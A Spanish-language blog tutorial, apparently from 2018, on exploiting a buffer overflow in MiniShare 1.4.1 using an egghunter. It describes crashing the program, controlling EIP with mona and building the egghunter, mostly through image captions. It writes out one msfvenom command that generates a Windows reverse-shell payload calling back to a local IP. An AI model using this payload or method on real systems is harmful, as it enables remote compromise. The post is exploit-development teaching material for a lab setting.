30 abril 2018

Exploiting con EggHunter


Hola a todos, en este caso vamos a usar EggHunter o Cazador de Huevos.

EggHunter en español "Cazador de Huevos", esta es una técnica muy usada cuando no tenemos mucho espacio disponible y nos toca localizar nuestro shellcode en otra parte y tenemos que salir a buscarlo.

Esta técnica, viene de los conocidos huevos de pascua, ya que estos son escondidos y a los niños le toca buscarlo

En este caso vamos a probar con un software peculiar y quise usarlo de ejemplo para explicar el uso de egghunter y su implementación.

Usaremos la misma maquina virtual que hemos estado usando, igual pueden ver la información aquí, pero usaremos el software MiniShare 1.4.1.

Todo listo


Provocando Crash al ejecutar el Script



Resultado



Donde guardaremos los archivos de immunity



Creamos un patrón



Probamos con la dirección de memoria del EIP



Calculamos la cantidad exacta



Ahora modificamos el Script



Y al ejecutarlo el resultado es



Ahora que controlamos EIP, y como sabemos buscar los jmp esp por los post anteriores, nos ahorramos algunos pasos a mostrar para acortar el tamaño del post, pero el resultado final es:



Ahora sacamos los bytearray. Como sabemos hacerlos por los post anteriores, el resultado final es:



Si no recuerdas esto, puedes leerlo aquí, ahora como comente en un post anterior, mostrare dos forma de detectar los nops necesarios, en este caso creamos un patrón de 120 "!mona pc 120"



Usamos el comando !mona findmsp



vemos que nos dice que para llegar el offset (EIP), necesitamos 32 bit, veámoslo mejor en esta imagen



Desde el salto que hacemos hasta el próximo salto, tenemos la distancia de 32 bits de por medio, en este caso 8 multiplicado por 4 (8*4=32)

Entonces vemos dos forma de detectarlo, una con comandos de mona y otra así al ojo

Creamos un EggHunter con mona y el tag yona



El Script ahora queda así, modificar solo la parte de arriba



Bueno ya que esta todo listo, generamos la shellcode con metasploit

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.19 LPORT=456 -a x86 --platform windows -b "\x00\x0d" -f c

Recordamos que el LHOST es tu dirección ip

Lanzamos el Script y lo monitorizamos con el administrador de tarea



Vemos que en algún momento la CPU se sobrecarga, esto es porque al comenzar a buscar nuestro shellcode, comienza a buscar en diferentes lugares de memoria hasta encontrar la shell

El resultado final es nuestra shell reversa :)



El Script listo lo podemos encontrar en el Github Oficial

Cualquier duda, no duden en preguntar



No hay comentarios.:

Publicar un comentario

Las Publicaciones más Vistas

Usando Mona en x64dbg